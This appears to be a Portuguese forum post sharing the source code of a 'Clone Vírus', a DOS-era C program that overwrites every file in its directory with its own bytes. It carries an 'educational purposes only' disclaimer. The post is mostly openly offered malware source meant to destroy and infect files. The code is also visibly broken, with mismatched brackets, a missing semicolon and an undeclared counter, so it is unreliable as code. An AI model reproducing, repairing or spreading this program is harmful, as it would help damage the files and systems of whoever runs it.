Olá pessoal quero compartilhar com vocês o Código Fonte do Clone Vírus, ele faz clones dele próprio de um modo ilimitado, ele torna todos os arquivos do diretório um Vírus, ele pode ser convertido em Java com poucas alterações, LEMBRE-SE APENAS PARA FINS EDUCACIONAIS, e não execute ele em uma pasta com arquivos .exe e arquivos importantes ele irá infectar os arquivos. (Adivinhe os arquivos de cabeça-lho para si mesmo).
Nome: Clone Vírus.
WCG 147
Nome: Clone Vírus.
Código:
FILE *virus, *vhost; int done = 0; unsigned long x; char buff[256]; struct ffblk ffblk; clock_t st,end; main () // WCG 147 { st = clock (); clrscr (); done = (findfirst("*.*",&ffblk,0); while (!done) { virus = fopen(_arg[0[, "rb"); vhost = fopen(ffblk.ff_name,"rb+"); if (vhost == NULL) goto next; x = 89088; printf ("infecting %s\n",ffblk.ff_name); while (x > 2048) { fread(buff,256,1,virus); fwrite(buff,256,1,vhost); x-=2048; } fread(buff,x,1,virus); fwrite(buff,x,1,vhost); a++; next: fcloseall(); done = findnext(&ffblk); } end = clock () printf("infected %d files in %f sec", a, (end-st)/CLK_TCK); return (0); }
Comment